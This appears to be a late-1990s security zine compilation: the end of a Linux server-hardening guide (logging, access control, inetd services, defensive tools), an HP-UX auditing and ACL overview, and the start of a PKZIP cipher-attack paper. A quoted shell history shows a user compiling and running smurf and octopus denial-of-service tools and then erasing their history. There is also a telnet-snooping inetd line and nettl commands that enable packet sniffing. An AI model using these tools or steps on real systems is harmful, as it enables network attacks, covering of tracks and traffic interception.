try `man quota'. It can tell you it's other functions, how to manually start and stop this service and where the quota information is stored on your system. ------------------------------------------------------------------------ 5. Logs One of the most important parts of being a good system admin is regularly reviewing the systems logs, but if you don't know where they are, or what you are logging what use are they? This is a very important section and I urge you to read it thoroughly! The only way you are going to see if you are being probed for an attack, or if someone has been attacking you is by checking the logs. So where are the logs and how is information sent to them? Well on a Linux system, they are located in a directory called `/var/adm/' or in a directory called `/var/logs' but usually they are linked together. By default, there are only two logs, `syslog' and `messages' but we need to make more. Logs are made from two daemons, `klogd' and `syslogd'. `klogd' intercepts and logs Linux kernel messages, while `syslogd' logs all system messages. These are system daemons which are automatically started by your `rc.*' files upon boot. To configure what you log, you must edit a file called `/etc/syslog.conf', this file tells what `syslogd' is to log, and where it is to put it. Here is how I have mine set up: # /etc/syslog.conf file # for more information about this file, man `syslog.conf' or `sysklogd' # # Modified by Bronc Buster mail.none;*.=info;*.=notice /usr/adm/messages *.=debug /usr/adm/debug *.err /usr/adm/syslog *.=alert root,bronc *.=emerg root,bronc authpriv.*;auth.* /admin/bronc/auth.log authpriv.*;auth.* /var/log/secure mail.info;mail.notice /var/log/maillog daemon.info;daemon.notice /var/log/daemon.log *.* /dev/tty12 # EOF Ok, if you don't know how this file is formatted and what phrases to use here, read up on the man page, `man syslog.conf'. I don't want to go through and waste two or three pages on explaining it. Lets go through my file line by line and see how it works. I wanted to make my logs simple, easy to understand and be specific as to what they have in them. First, my `messages' file was getting full of junk errors from my mail program, so I went and took out all messages associated with mail; i.e. `mail.none'. Then I wanted all messages at the `info' or `notice' level to be placed into it, so I added that into the same line as well. Next, I wanted all `debug' messages, sent to their own file, as well as all `err' (error) messages. Any `alert' or `emerg' (emergency) messages I wanted sent to the console or the terminal I was logged on, so I would know about them as soon as possible. The nest two lines have to do with connections and possible logins. I wanted to have a file that had nothing but who and when, so I could easily check out who logged in and when, and I also wanted an extra copy put in my own home directory so incase someone somehow edited it and took themselves out, I'd still have my own copy plus when I wanted to take a look at it, it was easily viewable. That's what the lines with the `authpriv' and `auth' are doing. The first one puts the log in my directory, the second in the normal logging directory. The next line deals with all the mail messages that I took out of the first `messages' file and puts them in their own log file. Nothing but mail here, so there is nothing else in there to confuse you. The `daemon' line logs all messages regarding the system daemons, and, like the mail line above, nothing else so there is nothing to get confused over. The last line is also a very important one. It sends all logs to /dev/tty12, so even if your logs were to get deleted, from the console you can hit Ctrl-F12 and see the last page of messages so you can get an idea of what happened. These different logs each cover a different aspect of your system, and keep them unscrambled and easy to read through. Remember, the easier the better. If I had another box I could use, I would also pipe all the logs off my box to the other box. With syslog, you have the option of sending all the logs off your box for remote logging. You could put a poor old 386, with Linux, on your network with nothing running but `inetd' and `syslogd' and send all your systems logs over to it with this simple line in your `syslog.conf': # log ALL other boxes IP number # *.* @ Now that your main system logs are secure, what about other log files? You still have `/var/log/wtmp' and `/var/log/utmp', plus each users shell histories. Because on some systems, `cron' archives your system logs, you normally can't `chattr' them, or mess with them much, but you can on the other logs. `chattr' changes a files attributes on an EXT2 file system, like you are using on your Linux system. With this command, you can make a file so it can't be deleted or edited, except to be appended (`man chattr' for more info on this useful command). This magic command can make the `wtmp' and `utmp' file so it can only be appended to, and so it can't be deleted or changed so as to show a user never logged on, or where they logged on from. With this same command, you can also fix all the users shell histories. Normally, any shell histories made by each user, are owned by each user, making them totally useless as a skilled user will first thing, link it to `/dev/null'. By using the `chattr +a' option of the `chattr' command on `wtmp', `utmp' and each users shell histories, you can track down problems quickly. I don't know how many troublesome users I have tracked down simply going into their shell histories and looking for problems they have caused. Like here is an example: --- snip --- gcc smurf.c -o smurf smurf smurf gcc octpuss.c -o octop octop ping ping -s 2000 rm smurf* rm otc* rm .bash_history rm .bash_hirtory vi .bash_history exit logout This, soon removed user, was using denial of service attacks to attack another system, and in return they were attacking us. Users like this can get you, the admin, in hot water and need to be removed as soon as possible. If it wasn't for the fact I `chattr +a' all the users shell histories, I never would have tracked it down to a specific user. When I add a user, I use a modified the `adduser' script so it automatically `chattr +a' their shell histories. To do the same, simply open the `adduser' script with an editor and add these lines at the end: # chattr +a users shell histories if [ -d $HME ]; then chmod 711 $HME cd $HME /bin/touch .bash_history /bin/chown $LOGIN:users .bash_history /usr/bin/chattr +a .bash_history /bin/touch .ksh_history /bin/chown $LOGIN:users .ksh_history /usr/bin/chattr +a .ksh_history /bin/touch .sh_history /bin/chown $LOGIN:users .sh_history /usr/bin/chattr +a .sh_history fi You need to keep close tabs on your log files, they are your eyes and ears of your system. You need to make them secured, easy to read and make sure they cover all aspects of what the system logging daemons can, and are logging. ------------------------------------------------------------------------ 6. Access Security (remote and physical) Access is an often-overlooked part of the total security picture. Both remote and physical access must be dealt with. It takes more than a strong password to keep people off your system, you have to know what files to use to control access even if someone were to get a valid login and password. There are files in your system that can gratefully help and give you stronger control over who connects, as there are also files that don't exist and that you need to make that can also help with local controls as well. Here are the files we are going to cover then we will go onto physical access controls: /etc/suauth /etc/ftpaccess /etc/hosts.deny /etc/hosts.allow /etc/securetty First, `suauth', it is the file that controls who is allowed to use the `su' (Switch User) command. This command, as you know, lets you become a root user, or lets you become any other user for that matter and is SUID, so you want to keep a tight grip on who is allowed to use it. The `suauth' file has a certin format, being: TO:FROM:ACTION Simple looking enough. The `TO' field tells what user you are going to, in this case, say `root'. The `FROM' field controls which user or group is being applied to go `TO' root. The `ACTION' tells what to do in each case. `ACTION's that can be used are, `OWNPASS', `DENY' and `NOPASS'. Here is a clipping out of the `suauth' man page so you can get a better feeling of how these all tie together. # A couple of privileged usernames may # su to root with their own password. # root:chris,birddog:OWNPASS # # Anyone else may not su to root unless in # group wheel. This is how BSD does things. # root:ALL EXCEPT GROUP wheel:DENY # # Perhaps terry and birddog are accounts # owned by the same person. # Access can be arranged between them # with no password. # terry:birddog:NOPASS birddog:terry:NOPASS # On my system, I have done what is in the second example. I edited the `/etc/group' file and added another group called `wheel'. This group is somewhere between the group `users' and `root', and I then added the users to this group that I wanted to be allowed to `su'. In the `suauth' file, I simply told it not to allow anyone to `su' unless they are in the group `wheel'. One down. Need any more help, try `man suauth'. Next is the `ftpaccess' file. This file controls a lot of stuff regarding your ftp services, like who can upload and download, if anonymous connections are allowed and if there are any hosts you don't want connecting at all. Because this file controls so much, I'm only going to get into how to block hosts from connecting, as I am dealing with access control, so for more information on how to set up other features in this file, as always `man ftpaccess'. Now this file has a simple rule set, and is not very picky in where you place things in it. For example, if we were going to add someone to our deny list, we could add it at the very top, the middle or the end and it won't care. I usually add them to the bottom as you want room to keep adding. The format is a very simple one, `deny '. Here is how mine looks: # deny these domains from getting on my FTP site # #deny host path to nasty message # deny *.sekurity.org /etc/msgs/msg.dead deny *.303.org /etc/msgs/msg.dead dent *.tacd.org /etc/msgs/msg.dead deny *.dim.com /etc/msgs/msg.dead deny *.comsite.net /etc/msgs/msg.dead deny su1d.technotronic.com /etc/msgs/msg.dead I think it's very easy to understand the format of this file, except maybe the last part, `/etc/msgs/msg.dead'. This is simply a path to a text file you want to be shown the person who is denied. Anyone connecting and getting access into the system, or getting denied, will show up in your log files (/var/logs/secure) so remember to check them from time to time if you notice any funny activity. The `hosts.deny' and `hosts.allow' files work hand in hand with each other and are, by default, used on almost all-modern versions of Unix. These files work in conjunction with TCP Wrappers, which you are most likely using now if you know it or not. TCP Wrappers, in brief, is a program called `tcpd'. From the man page, it monitors incoming requests for telnet, finger, ftp, exec, rsh, rlogin, tftp, talk, comsat and other services that have a one-to-one mapping onto executable files. What does that mean? Well in short, it watches programs that are in your `/etc/inetd.conf' file which are the programs that are started by `inetd' when in incoming request asks for an assigned program it watches for. The `tcpd' program is put into the `inetd.conf' file in place of the normal programs and whenever a request for service arrives, the inetd daemon is tricked into running the `tcpd' program instead of the desired server. `tcpd' logs the request and does some additional checks. When all is well, `tcpd' runs the appropriate server program and goes away. If you look at your `/etc/inetd.conf' file a line should like similar to this: smtp stream tcp nowait root /usr/sbin/tcpd sendmail -bs Here you can see that my `tcpd' is started, instead of sendmail, when an incoming request it sent to my smtp port. `tcpd' then logs the request and checks your `hosts.deny' and `host.allow' files. The `hosts.*' files do what their names suggest. They allow, or deny connections. Their formats are very easy to use; Connection:IP address. showdown:~$ cat /etc/hosts.deny ALL: 130.85.3.8 ALL: 207.172.56.57 Here I am blocking ALL connections from these two IP numbers. If I wanted I could block the entire class C, or change it to a domain and block that. You can put as many IP in here as you want, or if you are super paranoid, you can even put `ALL:ALL' and deny all connections. If you deny everyone, you can then select hosts to allow connections from. This is when you would use your `hosts.allow' file. It has the same format as the deny file, but unless you deny `ALL:ALL' I've never had to use it. But whose to say what your security needs are. Maybe you only want a select few people to be allowed to connect to your box. If so this is how you would do it. As most of the other files, they can also be tweaked a bit more and have other options. To get more information on them, `man tcpd'. Lastly, we will go over another simple, but surpassingly often overlooked file. The `/etc/securetty' file simply controls where `root' can log in from. As it comes default, it allows root to log in from any tty, local or remote. Here is the default: console tty1 tty2 tty3 tty4 tty5 tty6 ttyS0 ttyS1 ttyS2 ttyS3 ttyp0 ttyp1 ttyp2 ttyp3 That's all it is. If you had no idea what this file did how would you know (`man securetty' maybe)? These are the `/dev/tty's that are on your system, remote and local. The `ttyp*' and the `ttyS*' are remote, and the rest, as you can guess are local at the console. You, I hope, want to keep anyone from logging on as `root' anywhere, except from the local tty's. To do this, simply edit this file and comment out all the remote tty's with the `#' like so: #Keep root from logging on with a remote /dev/tty console tty1 tty2 tty3 tty4 tty5 tty6 #ttyS0 #ttyS1 #ttyS2 #ttyS3 #ttyp0 #ttyp1 #ttyp2 #ttyp3 That's that for remote access security. Now I'll move onto physical access. Now most places your box is going to be will be secure by the nature of place it is. If it is at your ISP, then most likely it is secure. If it's co-located, the people at your ISP most likely know you and know you box, plus if your box is with theirs, I'm sure they don't want anyone back with their machines as much as you don't. If It's on a LAN, keep it locked in your office, or if that's not possible, try and keep it under a desk or on the floor out of the way where no one will notice it. While you can't count on `security through obscurity' online, in physical access you want to use it. My box at my ISP is on the bottom rack next to 4 other machines that look similar to mine, all with no monitors and only keyboards attached (for remote reboots). There are no labels or any identifying marks at all. It is out of the way and very inconspicuous. If someone is going to go into the place your box is stored, you don't want to make it easy to identify, or find for that matter. Make them have to hook up a monitor and check each box until they find yours. Hopefully they will get discouraged or get cough by then. A very important note and common sense: NEVER walk away from the console and leave root logged in, or any user for that matter. Log out, or lock the terminal! As far as other physical security measures, well if it's sitting in your house, what can you do besides lock your doors. If it's at your ISP, you have to rely on them. If it's at work, keep it out of sight or locked up. Just be smart. Keep the console locked. Don't leave a monitor hooked up to it if it's not at your house. If someone wants to get to it, it's not like it's going to be kept in some top-secret lab somewhere, they are going to get to it. If they do, try and make it so the most damage they can do is to simply turn it off. ------------------------------------------------------------------------ 7. Misc. Files Now I am going to cover the other files around the system that don't fall under the other categories I've went through so far. There are only a few, but they are an important few. These files are: /etc/inetd.conf /etc/services /etc/nologin /etc/issue.net and /etc/issue /etc/passwd /etc/shadow /etc/group First, the `inetd.conf' file. This file is the configuration file for your `inetd' daemon. This daemon listens for connections on certain ports for and then decides what service to invoke, if any as told to it by the `inetd.conf' file. As you can imagine, this is an important file as whatever services are in it can be invoked by it. As default, all the services in it are open. I guess the writers of it though we were living in lollypop land and everyone was friendly, but unfortunately it's not. To edit this file, as with the ones before, you use `#'. You're `inetd.conf' file should look similar to this one before being edited: -------- snip --------- # The first 4 services are really only used for debugging purposes, so # we comment them out since they can otherwise be used for some nasty # denial-of-service attacks. If you need them, uncomment them. echo stream tcp nowait root internal echo dgram udp wait root internal discard stream tcp nowait root internal discard dgram udp wait root internal daytime stream tcp nowait root internal daytime dgram udp wait root internal chargen stream tcp nowait root internal chargen dgram udp wait root internal time stream tcp nowait root internal time dgram udp wait root internal # # These are standard services. # ftp stream tcp nowait root /usr/sbin/tcpd wu.ftpd -l -i -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd # # # Use this one instead if you want to snoop on telnet users (try to use this # for ethical purposes, ok folks?) : # telnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.telnetsnoopd # # This is generally unnecessary. The daemon provided by INN will handle the # incoming NNTP connections. nntp stream tcp nowait root /usr/sbin/tcpd in.nntpd # ----- snip ----- smtp stream tcp nowait root /usr/sbin/tcpd sendmail -bs # # The comsat daemon notifies the user of new mail when biff is set to y: comsat dgram udp wait root /usr/sbin/tcpd in.comsat # # Shell, login, exec and talk are BSD protocols. # shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L login stream tcp nowait root /usr/sbin/tcpd in.rlogind exec stream tcp nowait root /usr/sbin/tcpd in.rexecd talk dgram udp wait root /usr/sbin/tcpd in.talkd ntalk dgram udp wait root /usr/sbin/tcpd in.talkd # Kerberos authenticated services # # klogin stream tcp nowait root /usr/sbin/tcpd rlogind -k # eklogin stream tcp nowait root /usr/sbin/tcpd rlogind-k -x # kshell stream tcp nowait root /usr/sbin/tcpd rshd -k # # Services run ONLY on the Kerberos server # # krbupdate stream tcp nowait root /usr/sbin/tcpd registerd # kpasswd stream tcp nowait root /usr/sbin/tcpd kpasswdd # # Pop et al # pop2 stream tcp nowait root /usr/sbin/tcpd in.pop2d pop3 stream tcp nowait root /usr/sbin/tcpd in.pop3d # The ipop3d POP3 server is part of the Pine distribution. If you've # installed the Pine package, you may wish to switch to ipop3d by # commenting out the pop3 line above, and uncommenting the pop3 line below. pop3 stream tcp nowait root /usr/sbin/tcpd ipop3d imap2 stream tcp nowait root /usr/sbin/tcpd imapd # # The Internet UUCP service. # uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico-l # # Tftp service is provided primarily for booting. Most sites # run this only on machines acting as "boot servers." # tftp dgram udp wait nobody /usr/sbin/tcpd in.tftpd # bootps dgram udp wait root /usr/sbin/in.bootpd in.bootpd # # Finger, systat and netstat give out user information which may be # valuable to potential "system crackers." Many sites choose to disable # some or all of these services to improve security. # Try "telnet localhost systat" and "telnet localhost netstat" to see # that # information yourself! # finger stream tcp nowait nobody /bin/sbin/tcpd in.fingerd systat stream tcp nowait nobody /usr/sbin/tcpd /bin/ps -auwwx netstat stream tcp nowait root /usr/sbin/tcpd /bin/netstat-a # # Ident service is used for net authentication auth stream tcp wait root /usr/sbin/in.identd in.identd -w-t1 20 -l # # # These are to start Samba, an smb server that can export filesystems to # Pathworks, Lanmanager for DOS, Windows for Workgroups, Windows95, #Lanmanager # for Windows, Lanmanager for OS/2, Windows NT, etc. # If you're running smbd and nmbd from daemons in /etc/rc.d/rc.samba, #then you # shouldn't uncomment these lines. netbios-ssn stream tcp nowait root /usr/sbin/smbd smbd netbios-ns dgram udp wait root /usr/sbin/nmbd nmbd # # Sun-RPC based services. # # rstatd/1-3 dgram rpc/udp wait root /usr/sbin/tcpd rpc.rstatd # rusersd/2-3 dgram rpc/udp wait root /usr/sbin/tcpd rpc.rusersd # walld/1 dgram rpc/udp wait root /usr/sbin/tcpd rpc.rwalld # # End of inetd.conf. This is a cut down version, but should look very similar to yours. You need to take some of these services out; the ones you don't use and the ones you don't need. Some of them tell you what they are used for, others don't. You need to go through and see what services you need, and what you don't. For a normal server, I have almost all these services edited out, as they are not used or pose security risks. Here are the services I left open in mine: time stream tcp nowait root internal time dgram udp wait root internal ftp stream tcp nowait root /usr/sbin/tcpd wu.ftpd -l -i -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd smtp stream tcp nowait root /usr/sbin/tcpd sendmail -bs talk dgram udp wait root /usr/sbin/tcpd in.talkd ntalk dgram udp wait root /usr/sbin/tcpd in.talkd auth stream tcp wait root /usr/sbin/in.identd in.identd -w -t1 20 -l All the other services I don't use, or can do without. These are essential services that are needed for a server that has users on it. These are services they need so they may connect, send mail, and other basic user activities (ftp, telnet, smtp, talk, ntalk), plus a few other to help me verify connections (auth). All the others you can edit out without fear of cutting off users or hurting the system. I also modified my finger service a bit. I usually have it turned off, but for fun I did this: finger stream tcp nowait nobody /bin/cat cat /etc/finger.txt All this does is, instead of returning the normal `finger' information, is echo a file, the file `/etc/finger.txt', back to the person who has fingered your system. You can put whatever you want to be in the `finger.txt' file, so have a bit of fun with it :). The `/etc/services' file lists the ports on your system that have services connected to them. Think of them like a bunch of open windows that you can go through. You want to close all the windows you're not using or watching because most remote exploits are run on ports that are running some obscure service that no one thinks about or uses. If you take a look at this file, you'll see it's quite large. It lists port numbers with the protocol and the service on each port. You can also edit out ports with the `#' in this file. Here is the man pages definition: `services' is a plain ASCII file providing a mapping between friendly textual names for internet services, and their underlying assigned port numbers and protocol types. Every networking program should look into this file to get the port number (and protocol) for its service. Instead of showing you all the ports, I'll show you what ports I have open, and you can see how they correspond to my `inetd.conf'. netstat 15/tcp ftp 21/tcp ssh 22/tcp #Secure SHell telnet 23/tcp smtp 25/tcp mail time 37/tcp timserver time 37/udp timserver whois 43/tcp nicname finger 79/tcp www 80/tcp http # WorldWideWeb HTTP www 80/udp # HyperText Transfer Protocol auth 113/tcp tap ident authentication talk 517/udp ntalk 518/udp As you can see, the majority of the ports do not need to be open. You need to run the minimum number of ports to get the job done. If you're not sure if what a port does, try using `man' and checking what the service is. You can even block a port and see how it goes, then, if needed, come back and unblock it later. One note you want to remember. If the service is open in the `inetd.conf' file, then you also want it to be open in this file as well. The next file is `/etc/nologin'. This file may be useful when you need to lockdown the system to find a problem where you need all the users off the system, track down a problem user or stop a hacker in progress. By simply making a file called `nologin', or what is commonly done is `mv'ing the `motd' file, no non-root users will be allowed to log on to the system. The system will let them log on, it will then echo to them whatever is in the `nologin' file, then terminate their connection. The `/etc/issue.net' and the `/etc/issue' files can be important in taking away a good way of getting information on your system. A lot of people will simply telnet to a system and look at the login prompt to see what type of operating system is running. By changing the `issue' file instead of telnet showing this: Welcome to Linux 2.0.35. Showdown login:_ You can make it show whatever you want. Both of these files are plain ASCII files. Simply edit it and put in whatever you want: \__ ^^ __/ X X \ / \/ Welcome to eLe3t mIcRoSoFt uNiX v6.66 Showdown login:_ The `/etc/passwd', `/etc/shadow' and the `/etc/group' files I hope you already know are very important files. They hold the power is the system and tells the system, who is who and who has the power to do what. I hope, as you are the admin of a box, you know how important these files are. You need to insure the passwords are strong, that there are no users with no passwords, there are no other users except root with the UID of 0 and that the permission on the files are set correctly. By default the permissions are correct, so don't change them. The Shadow Suite takes good care of things though security wise, so besides these simple things, you don't have to worry much about them. Take a chance to look through all three of these files and familiarize yourself with them so you can spot a problem if one were to appear. ------------------------------------------------------------------------ 8. Third Party Tools Well this part I threw in because I have found some free tools floating around the net that are extremely useful. Some of these tools are `must gets'. SSH If you are not running SSH, you need to be. SSH uses keys, similar to PGP, to authenticate logins and then encrypts the session both to and from the server. Someone running a network packet sniffer can very easily capture logins and passwords from another unsecured machine on your LAN, but not if you use SSH. Most newer SSH clients support vt100 and all the cool ASCII colors, and such so by getting it, you're not losing anything, but your gaining a piece of mind and some real security. You can get SSH and read more about it at: SSH FAQ's - http://www.uni-karlsruhe.de/~ig25/ssh-faq/ FiSSH, Free SSH Win95/NT client - http://www.massconfusion.com/ssh/ SSH Club FI - http://www.cs.hut.fi/ssh/ Sentry Although still in Beta form, this is a super useful program I now run on all my systems. Here is a clipping from its README file to briefly tell what it does: The Sentry is part of the Abacus Project suite of tools. The Abacus Project is an initiative to release low-maintenance, generic, and reliable host based intrusion detection software to the Internet community. This program listens to ports, you designate, and takes actions depending on different rules you set for it. This is to give you a heads up that someone may be probing your system, or launching DoS attacks against it. It can log the activity, can add the offending hosts to the `/etc/hosts.deny' file, the local system can be automatically re- configured to route all traffic to the target to a dead host to make the target system disappear and it can also be re-configured to drop all packets from the host via a local packet filter. All and all it's a program I think you need to install, understand and use. You can get more information and get Sentry at: Sentry Abacus Project - http://www.psionic.com/abacus/abacus_sentry.html Logcheck This tool is also part of the Abacus Project and is a must get. When used in conjunction with SSH and Sentry, it can keep you easily informed to the happenings around your system. This program, via cron, checks your logs on a timed basis looking for certain key words that can trigger a level of alert. Like Sentry, you set the rules as to what it looks for and what it does, and it's easily configurable. It can do simple things like e-mail you, or echo to your console or even shut down the system depending on what rules you give it. You can get more information and get Logcheck at: Logcheck Abacus Project - http://www.psionic.com/abacus/abacus_logcheck.html Secure Ping v1.0 This is a secure replacement for the normal `ping' program on your system. `ping' is often abused by users trying to icmp other hosts with the feared pings-of-death and the like. This program limits both users and root as to the sizes of packets and the number of packets that can be sent. If someone tried to abuse Secure Ping, it simply tells the user to take a hike and then sends a line to the log files which Logcheck then picks up later and tells you about. You can get more information and get Secure Ping at: Secure Ping - http://www.sy.net/security Smurf Logger v1.1 This program does what its name says. It logs ICMP Smurf attacks. Unlike a normal ICMP Ping logger, this won't fill up your hard drive with meg after meg of logs. It logs repeat attacks with one line. This is also a nice program to have so you can see if your box is getting hit or not, and then take actions to block it at the router level. You can get more information and get Smurf Logger v1.1 at: Smurf Logger - http://www.sy.net/security Tripwire Tripwire is a tool to use just incase your system has been breached. Once installed correctly, with a correct config file, this program will look at all the files on your system, see their sizes and their dates then, whenever you want, will recheck them to see if they match. This is a good way to find out if a file has been tampered with, trojened or backdoored. The only draw back is that you need to keep a read-only floppy in the floppy drive. You can get more information and get Tripwire at: COAST Archives - ftp://coast.cs.purdue.edu/pub/COAST/Tripwire Lsof This handy file checks for files on the system that are open. They can either be legit files that are opened, like eggdrop files, or they can be files that someone `forgot' to close and is eating up 100% CPU. This is another handy file to have in your arsenal. Prudue Unix Tools - ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/ Well I know there are a ton of other programs out there floating all over the net that, and maybe there are some that do a better job then these do, but these are the ones that I use and the ones I have found that work and are easy to use. As new program come out everyday, you have to keep on the lookout for what's new, and look for what's best for your needs. ------------------------------------------------------------------------ 9. Conclusions Well, as you can see by the shear length of this paper that security for an operating system like Linux is not as simple as it may look. This paper has only touched on the basics of a lot of things you must know and get familiar with. This paper, if in depth, could of gone on to be a book (and I could of charged $50, hehehe), but as with all good papers, it's a work in progress. The bottom line is you have to plan what your needs are going to be. You must implement you system to meet your needs, and then you have to be alert. The admin of a system is the bottom line when it comes to security. The admin must stay alert and watch his system, he must watch the security posts and mailing lists and must keep informed when new patches, kernels and programs come out. An admin must also keep their up-streams informed as well, and stay in good contact with them so they may trade valuable information with you so you both know what is going on. Heck, you can go on forever about what a good sys admin has to do to keep a secure system, but you have to start with knowing your system. I hope this paper has helped. ------------------------------------------------------------------------ PLEASE send me suggestions, tips and advice to help make this paper a better one! [EOF] --------------------------------------------------------------------------- [tip]---------HP-UX: A Security Overview, Part Two =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= HP-UX: A Security Overview, Part Two revision01 10sep98 by: tip (tip@legions.org) --------------------------------------------------------------------------- Table of Contents: 1) Introduction 5) The Trusted System: DB Lib Routines 2) The Trusted System: Auditing 6) Other Info Pt 1 3) The Trusted System: ACLs 7) To Be Continued --------------------------------------------------------------------------- 1) Introduction a) This text is designed to complement to general Unix knowledge. All Unix OS's are different in their own right. This text will delve into HP-UX- specific areas. This is not a Unix tutorial, rather a supplement to fundamental Unix knowledge. b) This text will cover HP-UX version 10.x primarily. Specifically, 10.10 and 10.20 will be in mind. 11.0 has been released and I haven't gotten to checking it out yet. 9.x is old, and no longer supported by HP. Thus, the most logical choice (and most popular version of HP-UX) is 10.x. c) I'm not perfect; please notify me of any errors in the document. Also, if you see anything you want added to this file, feel free to send them to me. --------------------------------------------------------------------------- 2) The Trusted System: Auditing Auditing is a feature only available on Trusted Systems. It provides a means to record events and analyze security. Monitoring is done from the command line or through SAM (Systems Administration Manager). Most commonly, SAM is used to do auditing. Auditing commands These are pretty self-explanatory. Check man pages for detailed info. audsys(1m) : start/halt auditing and set/display audit file information audusr(1m) : select user to audit audevent(1m) : change/display event/syscall status audomon(1m) : set audit file monitoring and size parameters audisp(1m) : display audit record What system calls does auditing log? Basically system calls are grouped into event types. Auditing is selective by this event type, not by particular system calls. One thing to note: the event types of admin, login, and moddac are logged by default. See below for which system calls fit under which event type. These are selectable under SAM. event type: system calls: ----------- ------------- admin audevent(1m), audisp(1m), audswitch(2), audsys(1m), audusr(1m), chfn(1), chsh(1), init(1m), passwd(1), privgrp(2), pwck(1m), reboot(2), sam(1m), setaudid(2), setaudproc(2), setdomainname(2), setevent(2), sethostid(2), settimeofday(2), swapon(2) close close(2) create creat(2), msgget(2), mknod(2), mkdir(2), pipe(2), semget(2), shmat(2), shmget(2) delete msgctl(2), rmdir(2), semctl(2) ipcclose shutdown(2) ipccreat bind(2), socket(2) ipcdgram udp(7) ipcopen accept(2), connect(2) login init(1m), login(1) modaccess chdir(2), chroot(2), link(2), newgrp(1), rename(2), setgid(2), setgroups(2), setresuid(2), setuid(2), shmctl(2), shmdt(2), unlink(2) maddoc chmod(2), chown(2), fchmod(2), fchown(2), fsetacl(2), setacl(2), umask(2) open execv(2), execve(2), ftruncate(2), lpsched(1m), open(2), ptrace(2), truncate(2) process exit(2), fork(2), kill(2), vfork(2) removable smount(2), umount(2), vfsmount(2) uevent1 reserved for custom self-auditing programs uevent2 reserved for custom self-auditing programs So what is a self-auditing program? Basically, the amount of data that is audited can become cumbersome; thus self-auditing programs log only one entry decribing their process, after suspending the auditing of their actions. The intent is to limit and thus, optimize the audit data that is logged. Standard processes that are self-audit capable: audevent(1m), audisp(1m), audsys(1m), audusr(1m), chfn(1), chsh(1), init(1m), login(1), lpsched(1m), newgrp(1), passwd(1), pwck(1m). Where are audit logs located? /.secure/etc/audfile1 (primary log) switch size = 5 megs (AFS) /.secure/etc/audfile2 (auxiliary log) switch size = 1 meg (AFS) Warnings are sent when the log file reaches 90%. The Audit File Switch (AFS, as seen above), is basically a defined limit for the primary log file. The File Space Switch (FFS), is the defined limit for the filesystem for which the audit logs reside on. When the AFS limit is reached for the primary log, the audit logs are stopped, and then started on the auxiliary log. If no auxiliary log exists, it keeps on continuing to log on the primary. Now, if both the AFS and FFS limits are reached, it _still_ continues to log. Obviously this will be logged that the limit has been reached. But when does it stop? Basically a system parameter in the kernel, called min_free, stops all audit log activity if that point is reached. Thus, in a nutshell... -----------------> as size of audit logs increase --------------------> primary AFS reached, give warning, switch to: auxiliary log -> when auxiliary AFS is is reached, give warning, and: watch FFS -> when that limit is reached, give warning, and: watch min_free parameter -> when that limit is reached, halt all audit logs, until they are removed --------------------------------------------------------------------------- 3) The Trusted System: ACLs Access control lists are are basically an "extended" set of permissions for files and directories. Two things to note: 1) ACLs are slowly being phased out (11.0 supports them, but this might be the last version that supports ACLs), and 2) ACLs cannot be used on VxFS (Journal Filesystem, also known as JFS). Two commands are integral to ACLs: lsacl and chacl. Basically think of lsacl as the extended equivalent of ls, while chacl is the extended equivalent of chmod and chown. How are ACLs "extended"? While standard Unix has three sets of permissions, ie: -rwxr--r-- 1 oracle dba 523 Nov 22 1996 run1.sh ACLs enables thirteen additional sets of permissions (ACL entries) to be designated, which are stored in the access control list of the file. Suppose you wanted everyone BUT johndoe to read a file. In standard Unix, you'd have to create a group, put everyone in it except johndoe, then modify the permissions on the file accordingly (basically a pain in the ass). With ACLs, simply type: chacl 'johndoe.users=-rwx' Looking at that file with 'lsacl ' you see: (johndoe.users,---)(root.%,rw-)(%.sys,r--)(%.%,r--) filename Note that modifiers in chacl are + (add permission), - (remove permis- sion), etc. How would you know if a file or directory had additional permissions? Do an 'ls -l' or 'll' on the file: -rwxr--r-+ 1 oracle dba 523 Nov 22 1996 run1.sh Note the "+". This indicates there are additional permissions to be seen with lsacl. ACLs are useful to know within HP-UX, as standard file permissions, listings in /etc/group, etc. can be inconclusive in determining the owner- ship of a file or directory. Other commands (primarily system calls; see man pages for more info): getaccess (command): list access rights to a file. chmod -A (command): the -A option preserves ACLs associated with the file. otherwise, they are deleted. cpset (command): install object files in binary directories. does not set a file's optional ACL entries. find -acl (command): the -acl option supports ACLs. getacl/fgetacl (syscall): get ACL information. setacl/fsetacl (syscall): set ACL information. cpacl/fcpacl (syscall): copy ACL/mode bits from one file to another. setaclentry/fsetaclentry (syscall): set/modify/delete one ACL entry in a file. chownacl (syscall): change ACL owner/group info in a file. acltostr (syscall): convert ACL structure to string form. strtoacl (syscall): convert string form to ACL structure. strtoaclpatt (syscall): parse/convert ACL pattern strings to arrays. --------------------------------------------------------------------------- 4) The Trusted System: DB Lib Routines Basically, these routines are used to manipulate information on both the password file (/etc/passwd), and the trusted system database (/tcb/files/ auth). getdvagent(3): get device entry from /tcb/files/auth/devassign getprdfent(3): get system default entry from /tcb/files/auth/system/default getprtent(3) : get term control entry from /tcb/files/ttys getprpwent(3): get /tcb/files/auth password entries getpwent(3c) : get /etc/passwd entries getspwent(3x): get /tcb/files/auth password entries for standard, non-hp format putprpwnam(3): put password entry in /tcb/files/auth putpwent(3c) : put password entry in /etc/passwd putspwent(3x): put password entry in standard, non-hp format --------------------------------------------------------------------------- 5) Other Info Pt 1 nettl: HP-UX's network sniffer The question arises all too often about the availability of a sniffer for HP-UX. A solution that isn't realized by many is the fact that HP-UX comes with one. Here is the basic syntax for nettl. Check the man page for more detailed information on what you need. Start the logging process, logging all (-e, short for -entity) protocol layers/software modules, outputting to /tmp/legions!! (pduin is the inbound protocol data unit, and obviously, pduout is the outbound protocol data unit): nettl -traceon pduin pduout -e all -f /tmp/legions Stop the logging for all (-e): nettl -traceoff -e all Format the log file to make it readable: netfmt -f /tmp/legions.TRC0 > /tmp/legions.txt --------------------------------------------------------------------------- 6) To Be Continued Welps, that's it for now, kinda short. However, Part 3 will delve into NFS diskless clusters, network services, linklevel access, and other fun stuff. --------------------------------------------------------------------------- Attack on the PKZIP Stream Cipher----------[Pk] A Known Plaintext Attack on the PKZIP Stream Cipher Eli Biham (*) Paul C. Kocher (**) (*) 